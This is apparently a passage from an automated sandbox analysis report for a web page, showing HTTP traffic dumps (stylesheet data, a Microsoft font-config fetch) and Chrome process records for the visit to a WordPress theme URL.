2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-le
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d Data Ascii: :0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-m

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-09 22:38:22 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=63077 Date: Sun, 09 Jun 2024 22:38:22 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-09 22:38:23 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=63099 Date: Sun, 09 Jun 2024 22:38:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-06-09 22:38:23 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Target ID:	0
Start time:	18:38:12
Start date:	09/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	2
Start time:	18:38:14
Start date:	09/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2208,i,4426207215820550243,18394667341025892849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	18:38:16
Start date:	09/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://aimsvn.za.com/wp-content/themes/musuem/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true